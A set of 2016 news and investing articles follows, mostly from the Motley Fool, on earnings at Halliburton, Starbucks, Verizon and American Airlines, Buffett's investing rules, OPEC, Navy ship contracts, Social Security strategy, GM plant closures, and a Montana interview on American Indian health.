Copyright 1995 - 2016 The Motley Fool, LLC. All rights reserved. The Motley Fool has a disclosure policy.
Image source: Halliburton Company.

The first quarter was a rough one for the oil patch, with crude oil crashing during the quarter spending much of it below $30 a barrel. That made for a very challenging environment for both producers and oil-field services companies like Halliburton . Needless to say, there's not a lot of optimism surrounding Halliburton's first-quarter earnings report, which is expected to hit the wires on Monday morning. Here's a look at three things to watch in that report.

First, let's reviewBefore we get to that, let's take a quick look back at the company's fourth-quarter results. Halliburton reported surprisingly resilient financial results,with revenue down just 9% from the third quarter to $5.1 billion while adjusted earnings of $270 million, or $0.31 per share, were roughly in line with the prior quarter. The company was buoyed by its strong international business, which helped it partially offset a very challenging quarter for its North American operations:

Revenue Change Change Segment 4Q15 4Q14 Y-O-Y 3Q15 Q-O-Q North America $2,155 $4,729 -54% $2,488 -13% Latin America $694 $1,074 -35% $739 -6% Europe/Africa/CIS $962 $1,346 -29% $1,021 -6% Middle East/Asia $1,271 $1,621 -22% $1,334 -5%

In millions of dollars. Data source: Halliburton Company.

1. Halliburton vs. its international guidanceAfter only experiencing mid-single-digit sequential revenue declines across its international operations last quarter, Halliburton expected those declines to have accelerated during the first quarter. As acting CFO Christian Garcia noted on the company's fourth-quarter conference call:

Garcia noted that Halliburton expected to have a very tough first quarter across its intentional operations. What investors will want to look at is if the company's experienced a more severe decline than it forecasted. Specifically, Garcia pointed to the North Sea and Russia as two geographies that typically experience weather-related seasonality that could be exacerbated by uncertainty around customer spending levels potentially leading to a sharper-than-expected revenue decline in the Eastern Hemisphere. Meanwhile, Brazil has been hard hit by the oil price decline as well as the corruption scandal at its largest oil producer, leading to very tough operating conditions. Any of these issues could have had an unexpected negative impact on Halliburton's quarter.

2. Halliburton vs. the rig countThe company expected even worse results in North America, with Garcia noting:

Given that Halliburton expected its revenue in North America to follow the rig count lower it would imply a revenue decline of roughly 21%. That said, what investors will want to check out is whether the deep cut that North American producers made to their capital budgets led to an even steeper decline in Halliburton's North American revenue than even the rig count would seem to indicate. It's also important to see if the company was still able to deliver breakeven results on the bottom line given how weak industry conditions were during the quarter.

3. Any news on the pending Baker Hughes (NYSE: BHI) merger?In last quarter's earnings release Halliburton CEO Dave Lesar said that the company "remain[s] fully committed to closing the pending acquisition of Baker Hughes." Furthermore, he noted that it was working with competition authorities to resolve their competition-related concerns as soon as possible. However, a lot has happened since he made those comments, with the company recently being sued by the U.S. Department of Justice to block the merger with Baker Hughes.

The clock is ticking down on this deal, with it set to expire at the end of this month if the companies don't receive the necessary regulatory approvals. In that case, both companies have a big decision to make as they can either continue to work with regulators to try to obtain these approvals or choose to terminate the merger. Any news on which direction Halliburton is leaning would give investors a better idea on what the future holds for the company.

Investor takeawayHalliburton has already set expectations very low for the first quarter. However, given how bad the oil market was last quarter, there's a real possibility that Halliburton could report worse-than-expected quarterly results. Meanwhile, the company is running low on time to get approval for its pending Baker Hughes merger, which only adds to the suspense of what it will say on Monday morning.

The article 3 Things to Watch When Halliburton Company Reports Earnings originally appeared on Fool.com.

Matt DiLallo has no position in any stocks mentioned. The Motley Fool owns shares of and recommends Halliburton. Try any of our Foolish newsletter services free for 30 days. We Fools may not all hold the same opinions, but we all believe that considering a diverse range of insights makes us better investors. The Motley Fool has a disclosure policy.

Copyright 1995 - 2016 The Motley Fool, LLC. All rights reserved. The Motley Fool has a disclosure policy.
When investing, knowing what not to do can be every bit as important as knowing what you should do. Warren Buffett knows this well, and much of his success over the years can be attributed to things he avoids doing. In the aftermath of the financial crisis, Buffett shared four of these things with Berkshire Hathaway's shareholders, and there is valuable investing wisdom to be found in each one.

He doesn't invest in businesses whose futures we can't evaluateNo matter how exciting a business or industry may be, if Warren Buffett and co. can't analyze its future, they won't be investing in it.

This is the main reason why Buffett stays away from tech stocks -- it's simply too difficult to evaluate the future of any single company. Sure, it's prevented him from pursuing potential home-run investments like buying Microsoft in the 80s, but it also helped Berkshire largely avoid the tech bubble.

Buffett points out three industries that obviously had massive potential: automobiles in the early 20thcentury, aircraft around 1930, and televisions around 1950. Getting in on the ground floor of any of these could have been great, if you had picked one of the winning companies. The odds are simply stacked against investors in the early days of high-potential businesses.

In the automobile industry, General Motors, Ford, and Chrysler survived, but thousands of other manufactures weren't so lucky. For example, the Stutz Motor Company, which is attributed with inventing the "sports car" and at one time produced the country's fastest production car, didn't survive the Great Depression -- and there were many other companies in the same boat.

The point is that you should stick to companies with reasonably predictable futures. Long-established companies with stable financial footing and strong brands, like Coca-Cola or Procter & Gamble (two Buffett stocks), are the better way to go.

He doesn't depend on the kindness of strangersBuffett will never count on Berkshire being "too big to fail." The company will always have more than enough cash on hand to take care of any potential capital needs that may arise. In fact, at any given moment, Berkshire has a stockpile of at least $20 billion, and generally this is much more.

When the financial crisis hit, Berkshire wasn't among the companies with its hand out. Rather, it used its superior capital position to supply liquidity to companies in need, and made some pretty impressive profits in the process.

Although it happened a couple years after Buffett wrote this letter, Berkshire's investment in Bank of Americais an excellent example of how beneficial this is. In exchange for buying $5 billion in Bank of America preferred stock, Buffett also received warrants to buy 700 million shares of the bank's stock for $7.14 per share. Well, not even five years later, the bank has done a great job of risk management and building a sustainable business, and the value of this investment is more than $10 billion, an annualized return of more than 15%.

He won't have too much managementAs of this writing, Berkshire Hathaway has 62 subsidiary companies listed on its website with more than 360,000 employees worldwide. And, Berkshire manages this empire with a staff of just 25 employees at its home office.

One of the main reasons Buffett acquires the companies he does in the first place is because they already have excellent management in place. Therefore, he figures it would be silly to mess up a good thing, and gives his managers the freedom to operate each company as they see fit a strategy which has paid off in most cases.

The last thing Buffett wants is for Berkshire to evolve into a company with multiple layers of management and committees. Rather, Berkshire's companies will remain independently managed, and the extent of the central office's involvement will mainly be to allocate capital and support the managers.

What can you possibly learn from this as an individual investor? Simply put, you should focus on companies with simple management structures whose long-term success and failure doesn't depend on any one person who happens to be calling the shots at the moment. Coca-Cola (a longtime Buffett stock) is a great example -- its distribution network and valuable brand portfolio makes it so the company could nearly run itself. In fact, Buffett has said that a "ham sandwich" could run Coca-Cola.

He won't attempt to woo Wall StreetFinally, while many companies spend lots of time trying to convince analysts and the media that they're company is a strong investment, Buffett has no interest in doing this. Rather, it is a priority for Berkshire to focus on communicating directly with shareholders.

Berkshire strives to keep its business as transparent and easy-to-understand as possible. Shareholders buy the stock because they believe in Berkshire's businesses and the ability of management to provide those businesses with the tools they need to succeed.

The takeaway here is that it's generally a bad idea to invest in a business you don't fully understand, simply based on analyst or media recommendations. As a personal example, there are some biotech companies that are highly recommended by analysts right now, and I'm sure some of these do indeed have a bright future. However, I really don't understand that business well, so I tend to gravitate instead toward areas of the market I have a firm grasp on like, banking, energy, and real estate. Within those industries, I look for companies with shareholder-friendly managers, a strong balance sheet, and prudent risk management.

The Foolish bottom lineAlthough Buffett originally said all of these things in the midst of a volatile post-crisis market, they still apply in both good times and bad. Stick to businesses with products or services will be needed for decades to come, invest in easy-to-run businesses that you understand, and make sure the companies have adequate liquidity for whatever the economy brings. If you do this, you'll be well on your way to creating a Buffett-esque stock portfolio of your own.

The article 4 Things Warren Buffett Will Never Do originally appeared on Fool.com.

Matthew Frankel owns shares of Bank of America, Berkshire Hathaway, and General Motors. The Motley Fool owns shares of and recommends Berkshire Hathaway, Coca-Cola, and Ford. The Motley Fool owns shares of Microsoft. The Motley Fool recommends Bank of America, General Motors, and Procter & Gamble. Try any of our Foolish newsletter services free for 30 days. We Fools may not all hold the same opinions, but we all believe that considering a diverse range of insights makes us better investors. The Motley Fool has a disclosure policy.

Copyright 1995 - 2016 The Motley Fool, LLC. All rights reserved. The Motley Fool has a disclosure policy.
American Airlines reported a first-quarter profit on Friday that exceeded analysts' expectations as cheap fuel boosted its bottom line.

American, the world's largest airline, said income fell about 25 percent to $700 million, in part because it recorded additional non-cash taxes. Excluding special items, it earned$1.25 per share, above analysts' average estimate of $1.19 per share, according to Thomson Reuters I/B/E/S.

While American's fuel bill dropped by one third, its revenue fell as well.

The Fort-Worth, Texas based airline said extra flights by rivals, soft demand for Latin America travel and the diminished value of foreign sales in dollar terms pushed down passenger unit revenue 7.5 percent from a year ago.

However, a smaller dip of 2.1 percent in the closely watched financial measure for trans-Atlantic flights was encouraging, Sterne Agee CRT analyst Adam Hackel said.

Rival Delta Air Lines Inc had warned last week that average fares on European trips were continuing to fall as carriers across the Atlantic operated flights in excess of demand. Recent attacks in Brussels and Paris have also risked discouraging summer trips by U.S. vacationers.

American's shares were up 1 percent in premarket trading.

(Reporting by Jeffrey Dastin in New York; Editing by Bernadette Baum)
For many decades, with the largest oil reserves and a majority of global oil spigots, and acting as a mostly cohesive cartel, the dominant player has, obviously, been OPEC (the Organization of the Petroleum Exporting Countries).The rest of the world, as countless complainers have moaned, has been held hostage to their price whims with resultant impacts on national economies. However, the sands are shifting as recent Doha days have exemplified. OPEC is neither as cohesive nor as powerful as they were back in the day. Consequently, its time to refocus our attention on U.S. energy independence and heed a line from an old Eagles song: All this whinin' and cryin' and pitchin' a fitGet over it, get over it! Lets get over OPEC.

The BaselineThe U.S., Saudi Arabia and Russia are the top oil producers, each with roughly 11-13% of production. Global demand for oil is roughly 93 million barrels per day, yet the world currently produces around 94 million barrels. Supply has exceeded stagnant demand for two years as oil containers around the planet are teeming to the tops, including tankers of liquid storage on the high seas. The oversupply has, naturally, reduced prices. Just over two months ago, on February 17th, West Texas Intermediate (WTI) oil bottomed out at $26 a barrelits lowest price point since 2003. The day before, Saudi Arabia and Russia agreed to freeze output at current levels. Their objective: freeze production, reduce supply, raise oil prices and profits. Importantly, they also signaled a desire to encourage other oil producing nations to follow suit. That signal moved markets, buoying prices to around $40 a barrel for the past two months.

Doha DaysTo follow through on the Saudi-Russia strategy, after a few fits and starts at setting up meetings, oil ministers from the two nations along with OPEC members, met this past weekend in Doha, Qatar to strike a deal. The problemo, however, is that OPEC member Iran didnt attend. United Nation sanctions on Iran, in place from 2012-2015, due to their nuclear development program had the impact of reducing Iranian oil production from a high of roughly 4 million barrels a day (about 5% of global production) to 500,000 barrels per day. After sanctions were lifted, Iran sought toand they haveramped up production. The nation has let it be unequivocally known that they have zippity desire to freeze production at anything other than the robust levels achieved during their glory days. That being unacceptable to the Saudis, they, ironically, ended up killing any Doha deal. With no agreement, its apparent the OPEC clique is currently cracked. The next opportunity for such discussions and potentially coalescing cohesion will be at the June 2nd OPEC meeting in Vienna.

Reduced InfluenceOPEC, which in the past had produced over 60% of the global oil, currently produces around 40%. The group, which includes many member countries outside of the Middle East (namely Venezuelaat 5% of productionand others in South America, plus some in Africa), doesnt have the historic influential impact they had before. In the days of yore, the 1973 oil embargo, OPEC actions resulted in enormous economic damage to the United States and several other nations. The reduced OPEC global production percentage is due, in large part, to production increases elsewhere, indulging the U.S. and Russiaplus China, Canada and Mexico with about 4.5%, 4%, and 3% of global production, respectively.

Bottom Line TimeWhile OPEC is still a significant and serious contributor to prices, their cohesion and influence has been reduced. Rather than wringing our hands at what they may or may not do, going nuts over every nuance, we should focus on what we in the U.S. do best: allow our free market flag to fly and flourish. Focus on ensuring prices will continue to be discovered fairly and fundamentally-based upon supply and demand. Focus on being able to continue to develop greater energy independenceeven as low prices make that a rougher and tougher task. And, importantly, we should appreciate that energy costs impact real people, many with honest businesses outside of the energy sector which have benefitted from lower energy costs. Last year alone, U.S. drivers saved $1 billion$550 per driverdue to reduced oil prices. We have a lot to do. Lets focus on the future. Get to work, and get over OPEC.

(About the Author: Commissioner Bart Chilton served at the US Commodity Futures Trading Commission from 2007-2014 and is currently a Senior Policy Advisor at the global law firm DLA Piper LLP (US). He is the author of Ponzimonium: How Scam Artists Are Ripping Off America and can be reached at bartchilton@bartchilton.com.)
At the urging of tribal health directors and under the order of Gov. Steve Bullock earlier this year, Montana became one of the first states in the country to create an Office of American Indian Health.

A handful of others have created small programs as part of larger minority health initiatives.

At stake is a stark fact: American Indians in Montana, on average, die 20 years earlier than their white neighbors.

Mary Lynne Billy-Old Coyote started as the offices director April 11, spending her first week at a conference hosted by the Centers for Disease Control.

Gazette State Bureau reporter Jayme Fraser sat down with Billy-Old Coyote on Thursday to discuss her background and her goals. The interview has been lightly edited for length and clarity.

Fraser: Tell me a little bit about yourself and why you decided to become the states first Director of American Indian Health.

Billy-Old Coyote: Part of the reason I even started to consider this position, which was quite intriguing, was because of my background and because of my commitment to Indian Country and Indian health, particularly in Montana. I am from Montana.

I am a member of the Chippewa Cree tribe. My dad is full-blooded Cree, so I grew up on Rocky Boy, I grew up on a reservation, and I grew up experiencing the health care. Its unfortunate that the health care I experienced as a child is almost a mirror image of the health care that exists now. Im 50 years old, so when you look at health care that has not changed in that time frame, thats of great of concern.

I can see we have a complex problem that certainly will not be solved easily. But through my background, my true personal commitment to this, I think that well make some strides  not quickly, this is a complex problem  but I think we need to shift the conversation from health disparities to health equity, and Im hoping thats what I can do.

Fraser: How did you get your start in health care?

Billy-Old Coyote: I started my career early on in consulting and was part of a consulting practice with Native Americans at KPMG.

I had the opportunity to start one of the first Native American practices in the United States, and one of our first initial efforts was the second tribal health care plan developed in the U.S. It was one of the most innovative efforts at the time. We were developing a practice and a plan for this particular tribe that was across 41 states and four countries. I reached a crossroads.

You cant get much luckier than that, when your personal and professional interests come together.

Fraser: What are some of the challenges to improving health outcomes in Indian Country?

Billy-Old Coyote: Access to health care  for example, transportation.

Let me share a personal story. My dad had to be transported in an ambulance not too many months ago. I was in the ambulance with him, and through that experience I could see we had an ambulance that was extremely dated, the care that these truly caring professionals were trying to administer was dated because the access to the tools, and equipment wasnt what youd expect to see in a mainstream population. This is 35 miles, part of it down a dirt road, going 85 mph at 8 oclock on a Friday night when theres a lot of traffic.

Its real. Health care is real. Not only to me personally, but to every American Indian.

Fraser: What are your initial priorities and first steps?

Billy-Old Coyote: First, Im going to look to collaborate with the tribal health directors, the coalition, which was instrumental, in addition to the governor, in putting this office together and having it stand up.

This opportunity is such a monumental step in addressing some of the things we need to have conversations about. We made this step forward with the coalition, and those early conversations are going to be formative in terms of what we do next.

Id also like to get to know the Department of Public Health and Human Services, all their offices and what they are involved in  cancer screenings, mammography, all those things really needed in Indian Country today.

Id also like to set some short-term objectives that are quick wins. What are the quick wins? Im starting to formulate that now. I dont yet have that plan in place given this is my second day in the office (here in Helena).

Fraser: Talk about the growing national focus on minority health and what that means for your efforts here.

Billy-Old Coyote: The conversation is shifting from health disparities to health equity and the opportunities to create health equity. Oftentimes people misinterpret that health ... is only about the clinical setting.

In Indian Country, its not. Certainly clinical is the core of it  health care, dental care  but social determinants are a piece of that, particularly in Indian Country. So were talking about access to transportation, education, basic community programs to help children learn and grow.  Law enforcement. How do we make safe and healthy communities so people can engage in community activities and feel safe doing it?

All of those aspects are changing the national agenda from disparities to equity.  Were all as Montanans trying to come to a place of well-being and health.

Fraser: And part of your job is making sure the resources the state already has are available to the tribes, right?

Billy-Old Coyote: Absolutely. And also building upon those resources, building a collaborative bridge. There really have been some monumental steps taken before me, the creation of this office being one of them. From there you start to build bridges and more bridges. Tribes very, very much want to engage the state.

Fraser: Is there anything youd like to add?

Billy-Old Coyote: This certainly is a complex problem. As I mentioned before, its personal, its professional for me.

I know that its something experienced by every tribal member, every American Indian in the state every day, every hour. I know it. Ive experienced it. I feel it. 

Our first order of business is to make sure we get the access to care, we get information sharing, and we do it authentically  and those are really critical things from the start.
LOCKHEED MARTIN'S USSFREEDOM-class Littoral Combat Ships have been breaking down with disturbing frequency of late. IMAGE SOURCE:LOCKHEED MARTIN.

The U.S. Navy intends to buy 32 Littoral Combat Ships for its battle fleet.

General Dynamics has already built a few. Austal and Lockheed Martin have built a few more, and been hired to build most of the rest. By and large, the program is making decent headway -- but every once in a while, it seems the Littoral Combat Ship program is being run by the gang that couldn't shoot straight.

Take the Freedom-class LCS vessels, for example. Over the past six months, two such ships, the USS Fort Worth (LCS 3) and the USS Milwaukee (LCS 5), have suffered engine breakdowns -- the Fort Worth while in port in Singapore, and the Milwaukee during its maiden voyage. According to the Navy, faulty maintenance was the culprit behind the Fort Worth's failure, while Milwaukee seems to have fallen victim to bad software that wrecked its engine.

Now two ships may not sound like a lot, but consider: So far, there are only six LCSes in service. That means that one-third of the LCS fleet has broken down in the past six months -- and two-thirds of the Freedom-class. (A second LCS variant, the Independence-class built by Austal and General Dynamics, has been somewhat less troublesome.)

In a February statement, the Navy announced that it would refuse to accept Lockheed Martin's Freedom-class vessel, the USS Detroit (LCS 7, due for delivery later this year), until convinced that Lockheed has fixed whatever glitch sidelined the Milwaukee.

How bad news is this for Lockheed Martin?That said, the Navy appears to remain confident (or at least optimistic) that the problems will be fixed. Last month, on the final day of the government's fiscal first quarter, the Pentagon announced that it has awarded Lockheed Martin $564 million in additional funds to begin construction of yet another Freedom-class LCS, designated LCS 25. Separately, the Pentagon awarded an equal sum -- $564 million -- to Austal to begin work on the Independence-class LCS 26.

With these contracts in hand, the Navy is now committed to buying more than 80% of the LCSes included in its most recent plan for a 32-ship fleet. Once the final six contracts (for LCSes 27-32) have been awarded, it will be time for the Navy's contractors to switch over to building a new variant of the LCS, to be designated a "frigate."

What happens next?Contracts on that one remain up for grabs, and could prove especially lucrative for the winner if the Navy proceeds, as seems likely, with picking just one LCS variant to serve as the basis for all 20 frigate-class vessels to be built. Up until the Freedoms hit their recent run of bad luck, I'd have bet good money that Lockheed Martin was the favorite to win that 20-ship contract.

Now, I'm no longer so sure. If things keep going the way they have been, Lockheed Martin just may have given Austal the opening it needs to "cut out" the frigate business, and carry it away.

The article Navy Floats the Littoral Combat Ship Builders Another $1.1 Billion originally appeared on Fool.com.

Fool contributorRich Smithdoes not own shares of, nor is he short, any company named above. You can find him onMotley Fool CAPS, publicly pontificating under the handleTMFDitty, where he's currently ranked No. 315 out of more than 75,000 rated members.The Motley Fool has no position in any of the stocks mentioned. Try any of our Foolish newsletter services free for 30 days. We Fools may not all hold the same opinions, but we all believe that considering a diverse range of insights makes us better investors. The Motley Fool has a disclosure policy.

Copyright 1995 - 2016 The Motley Fool, LLC. All rights reserved. The Motley Fool has a disclosure policy.
SOURCE: FLICKR USER PUG50

Nearly half of all Americans claim their Social Security benefits as early as possible and most claim Social Security by their full retirement age. Given so many Americans are opting to receive benefits sooner, rather than later, let's consider how a Roth IRA strategy may help this money last longer in retirement.

Put Social Security to workSocial Security allows recipients to work and collect Social Security payments and workers who are younger than full retirement age, or the age at which they can receive 100% of their benefit, can earn up to $15,720 without it reducing the size of their monthly Social Security check.

As a result, supplementing your Social Security benefits with part-time work and then investing as much of your Social Security income as you can in a Roth IRA may make a tremendous amount of sense.

According to a TransAmerica study, that's exactly what many Americans may be planning to do.

51% of workers who participated in their 16th annual retirement survey revealed that they plan to continue working in retirement and another 24% may consider it. That means that 75% of American workers may generate enough earned income to allow them to invest their Social Security check into a Roth IRA.

Unlike a traditional IRA, Roth IRAs don't require minimum distributions, so a retiree can contribute to them as long as they live and earn income from working. Because Roth IRA contributions are made with after-tax money that can grow tax-free, making use of a Roth IRA in retirement can significantly increase the size of your estate and improve your financial security.

For example, let's say Mary takes Social Security at age 62 and that she receives $700 per month in benefits, or $8,400 per year. Mary also earns $6,500 per year in after-tax income by working part-time. Because Americans over the age of 50 can contribute up to $6,500 to a Roth IRA every year, Mary sets aside that amount from her Social Security income every year until she stops working at age 75. If Mary earns a hypothetical 6% per year, then she will have increased the size of her estate by an additional $122,584.

Mary could stash away even more if she collects retirement income from other sources, such as a pension, and therefore, is able to max out her Roth IRA contribution and contribute the rest of her Social Security income to a taxable investment account. If she invests her $8,400 in Social Security income over that same period of time and earns a hypothetical 6% return every year, then she will accumulate an additional $150,000 in savings by her mid 70s.

Looking forwardDeciding when to claim Social Security is a personal decision that will depend a great deal on your own situation, but if you've decided to claim Social Security at age 62 and are willing to work at least enough to qualify for maxing out your Roth IRA, the benefits could be great.

The article A Smart Strategy for Claiming Social Security At 62 originally appeared on Fool.com.

Try any of our Foolish newsletter services free for 30 days. We Fools may not all hold the same opinions, but we all believe that considering a diverse range of insights makes us better investors. The Motley Fool has a disclosure policy.

Copyright 1995 - 2016 The Motley Fool, LLC. All rights reserved. The Motley Fool has a disclosure policy.
Japanese electronics giant Sony said on Friday it would delay announcing earnings forecasts for this business year as it continues to assess the impact of the powerful earthquakes that have halted its image sensor plant in southern Japan.

Sony said it would release the forecasts some time in May, instead of on April 28, when it is due to announce results for the year that ended in March.

The company also said in a statement that the suspension of operations at the factory in Kumamoto could have an adverse impact on its operating results, particularly in the image sensors and digital cameras segments.

Some equipment and clean rooms were damaged at the plant, it said.

Sony on Thursday cut its profit estimate by 9.4 percent for the year just ended, as slowing global smartphone sales dented demand for its camera modules.

(Reporting by Makiko Yamazaki; Editing by Chang-Ran Kim)
Tea sales grew over 17% at Starbucks, the highest rate in over one year last quarter. Image source: Starbucks.

Starbucks Corporation reported second-quarter earnings after market close on April 21, and early on April 22, the stock is trading down about 5.5%. So what happened? In short, Starbucks delivered another great quarter, with some metrics coming in a little softer than Wall Street analysts expected.

Here's a closer look at the company's financial results for the second quarter, as well as some key comments from management on the earnings call for added context of those results.

The numbersStarbucks quarterly results came in as follows:

Metric Q2 2016 Q2 2015 Change Revenue $4,993 $3,622 9.4% Operating income $864.2 $777.5 11.2% Earnings per share $0.39 $0.33 18.2%

Revenue and operating income in millions. Data source: Starbucks.

Comps and context on what it doesn't measureA key measure for Starbucks store performance is comparable store sales, or comps, which measures revenue growth at stores open more than 13 months. Starbucks reported consolidated comps of 6%, down from the 8% reported in the first quarter. The geographical breakdown of comps was as follows:

Americas, 7%; down from 9% in Q1

China/Asia-Pacific, 3%; down from 5% in Q1

EMEA, 1%; same as Q1

For a little deeper context, Starbucks' comps numbers only measure company-owned stores. This is important for several reasons. First, this quarter was the first that included the 1,100 stores that Starbucks acquired from a Japanese licensee in 2015 in the comp numbers, making Japan -- not China -- the largest segment of the CAP comp base. Furthermore, approximately two-thirds of new stores opening in the CAP region are licensed stores and will be excluded from the comp base.

Nonetheless, CFO Scott Maw said they are still forecasting mid-single-digit comps growth for CAP in 2016, likely because more Chinese stores will enter the comp base over the next six months, and that market continues to perform exceptionally well.

Starbucks Chinese employees. Image source: Starbucks.

COO Kevin Johnson spoke about comps in the EMEA segment, which is now 72% franchised or licensed stores, a more successful model in those markets. Johnson said that on a systemwide basis in EMEA (including non-Starbucks owned stores), comps increased 4% in the quarter, even as Europe and the Middle East continue to face economic uncertainty.

In other words, comps is an important metric, but it has limitations in what it actually tells us about store performance and growth.

Single-serve set for another surgeIn the earnings preview, I pointed out the profit-producing value of Starbucks' channel development business, which is essentially everything Starbucks you buy somewhere besides Starbucks. In Q1, this segment produced 18% of the company's operating income on less than 10% of revenue. In the second quarter, channel development produced 9.2% of revenue and 21% of operating income, and its 39.5% operating margin makes it easily the most profitable segment of the company.

On the earnings call, CEO Howard Schultz talked about what could be a massive step forward for this segment, with two potentially huge developments: The planned launch of single-serve capsules for Nespresso machines and the ability to sell K-Cups directly to office and other distribution channels. Let's talk about the second one first.

Keurig Green Mountain Inc.is the undisputed single-serve coffee leader in North America, and Starbucks is the most popular brand of K-Cup for the company's machines. The company says it will sell more than 1.5billionStarbucks K-Cups in 2016, a nearly 20% jump from 2015, and that its new agreement with Keurig offers improved economics and flexibility than the prior deal. In other words, this business is set to get bigger and even more profitable.

Starbucks is set to grow K-Cup sales at home, and will launch Nespresso pods in Europe soon. Image source: Starbucks.

At the same time, Keurig has essentially no presence outside North America, while Nespresso has more than 25 million espresso-based brewing machines globally. Furthermore, Starbucks estimates that 50% of its best European customers own a Nespresso machine at home. This is a market ripe for developing, and the company is (finally) ready to launch a single-serve Nespresso pod in Europe.

The company's Chinese partnership with Tingyi in China is also moving forward and is on track to launch this summer. This partnership will put Starbucks Frappuccino and other ready-to-drink iced beverages in more than 1 million points of distribution in the country, further expanding the brand's reach into essentially every major city in China this year.

Bottom line: Channel development may be a relatively small piece of the revenue pie, but it's an outsize slice of profits that is likely to only grow bigger over time and also an important way Starbucks leverages its brand appeal.

Looking aheadStarbucks management essentially reiterated its guidance for 2016, sticking to its guns on expectations for 10%-plus revenue growth for the full year, and comps "somewhat above" the mid-single digits, even after falling short on both of these metrics in the second quarter, and GAAP earnings per share in the range of $1.85-$1.86 for the full year, on slightly increased operating margin. For the third quarter, earnings per share are expected to be $0.47-$0.48.

The company also announced that it is selling even more of its EMEA stores to licensees, with AmRest Holdings SE set to acquire the company's stores in Germany in the third quarter.

Starbucks also continues to return capital to investors. It acquired 23 million shares in the second quarter, and has board approval to repurchase up to 125 million more shares. The board also declared a $0.20-per-share cash dividend payable in May, the same as last quarter and up 25% from one year ago.

The article Starbucks Corporation: Good Quarter or Not? Key Takeaways Investors Should Know originally appeared on Fool.com.

Jason Hall owns shares of Starbucks. The Motley Fool owns shares of and recommends Starbucks. Try any of our Foolish newsletter services free for 30 days. We Fools may not all hold the same opinions, but we all believe that considering a diverse range of insights makes us better investors. The Motley Fool has a disclosure policy.

Copyright 1995 - 2016 The Motley Fool, LLC. All rights reserved. The Motley Fool has a disclosure policy.
Image source: Verizon.

Verizon Communications reported first-quarter results on April 21. The largest U.S. cell phone carrier was able to eke out some sales and profit growth despite fierce competition.

The raw numbers

Q1 2016 Q1 2015 Growth (YOY) Revenue $32.171 billion $31.984 billion 0.6% Net income $4.430 billion $4.338 billion 2.1% Earnings per share $1.06 $1.02 3.9%

Data source: Verizon Communications Q1 2016 earnings press release.

Wireless resultsVerizon added 640,000 new postpaid wireless subscribers in the first quarter, including more than 500,000 new tablet subscriptions. The company also continued to show signs of strong customer loyalty, with its retail postpaid churn rate improving 7 basis points from the year-ago quarter to 0.96%.

That's particularly noteworthy because it comes at a time when Verizon is facing stiff competition from rival telecoms such as AT&T , T-Mobile US , and Sprint . AT&T is bundling its recent acquisition, DirecTV, in discounted packages that include Internet, wireless, and home phone services. T-Mobile and Sprint are also offering aggressive promotions, with T-Mobile providing free music and video streaming options, and Sprint heavily advertising its half-off discounts.

Yet despite these aggressive moves by Verizon's competitors, the telecom king's total retail connections still rose 3.7% year over year to 112.6 million at the end of the first quarter.

Wireless revenue, however, fell 1.5% to $22 billion as more customers chose unsubsidized device payment plans. These plans tend to be more profitable for Verizon, something that can be seen in the wireless segment's operating income margin, which improved to 35.8% in the first quarter, up from 35% in the year-ago quarter. Segment EBITDA (earnings before interest, taxes, depreciation, and amortization) margin also increased to 46.2% from 44.8%.

Wireline results In Verizon's wireline division, FiOS -- long a bright spot -- is seeing its growth slow considerably. Verizon added 98,000 net new FiOS Internet connections and 36,000 net new FiOS video connections in the first quarter. However, that's down from the 133,000 Internet and 90,000 video connectionsVerizon added in Q1 2015. With the growing popularity of video-streaming services such as Netflix, it's possible Verizon could soon begin to shed FiOS video customers in the quarters ahead.

Still, while wireline revenue fell 1.9%, profitability did improve as costs declined, with segment operating and EBITDA margins rising to 6.3% and 23.4%, respectively, up from 4.3% and 22.7% in the prior-year period.

Consolidated results On a companywide basis, Verizon's first-quarter total operating revenue rose less than 1% to $32.2 billion. Excluding sales from AOL, which Verizon acquired in June 2015, revenue fell 1.5%.

Operating income and EBITDA were basically flat year over year at $7.9 billion and $12 billion, respectively. Net income rose 2.1% to $4.4 billion, while earnings per share, which were boosted by share buybacks conducted in recent quarters,increased 3.9% to $1.06.

More importantly, Verizon's cash flow remained strong, although down slightly from last year's first quarter. Operating cash flow and free cash flow came in at $7.4 billion and $4 billion, respectively, compared to adjusted operating and free cash flow -- which exclude the impact of one-time tower asset sales -- of $7.8 billion and $4.2 billion in the first quarter of 2015.

Looking forwardVerizon reiterated its forecast that full-year 2016 adjusted earnings would be comparable to 2015's results, which totaled $3.99 in adjusted EPS.Management warned, though, that the company's ongoing labor contract dispute with 39,000 of its wireline employees who are currently on strike could negatively impact results in the quarters ahead.

"We are off to a strong start in 2016 as we executed on the fundamentals of the business: growing high value customers, delivering strong financial and operating results, and generating free cash flows," said CFO Fran Shammo during Verizon's conference call. "However, given the status of our labor contract negotiations, there will be pressure on earnings in the second quarter due to the timing of cost reductions. Depending on the progress of the negotiations, we may need to update the full-year guidance at a later time."

The article Verizon Communications Inc. Earnings: Wireless Impresses but FiOS Growth Slows originally appeared on Fool.com.

Joe Tenebruso has no position in any stocks mentioned. The Motley Fool owns shares of and recommends Netflix and Verizon Communications. Try any of our Foolish newsletter services free for 30 days. We Fools may not all hold the same opinions, but we all believe that considering a diverse range of insights makes us better investors. The Motley Fool has a disclosure policy.

Copyright 1995 - 2016 The Motley Fool, LLC. All rights reserved. The Motley Fool has a disclosure policy.
General Motors' Lordstown Complex in Warren, Ohio manufactures the Chevrolet Cruze sedan. GM said on Friday that the plant will be closed for two weeks because of parts shortages related to the earthquakes that struck Japan earlier this month. Image source: General Motors

It wasn't much of a surprise when Toyota said that it would have to halt production at its Japanese factories in the wake of a series of earthquakes. But it might be a surprise that General Motors is having to do the same thing -- here in the United States.

GM said on Friday that it expects four of its U.S. assembly plants to be closed for two weeks beginning on April 25 because of parts shortages.

The earthquakes damaged factories belonging to key auto-industry suppliers, leading to temporary shortages of a few key parts. Apparently, GM is one of the customers affected.

What General Motors saidGM's statement was terse: "As GM continues to assess the potential impact on its supply chain from the recent earthquakes in Japan, it is taking proactive steps to mitigate a part supply issue and is adjusting production schedules at four of its North American assembly facilities.

"The manufacturing operations at the following GM North America assembly facilities are currently expected to be down for two weeks beginning April 25, 2016: Spring Hill, Tenn.; Oshawa Flex Assembly, Canada; Lordstown, Ohio; and Fairfax, Kan.

"This temporary adjustment is not expected to have any material impact on GM's full-year production plans in North America. In addition, the company does not expect a material impact to its second quarter or full-year financial results for GM North America."

The affected factories produce the Cadillac XTS and XT5, the Buick LaCrosse and Regal, the GMC Acadia, and the Chevrolet Cruze, Equinox, Impala, and Malibu.

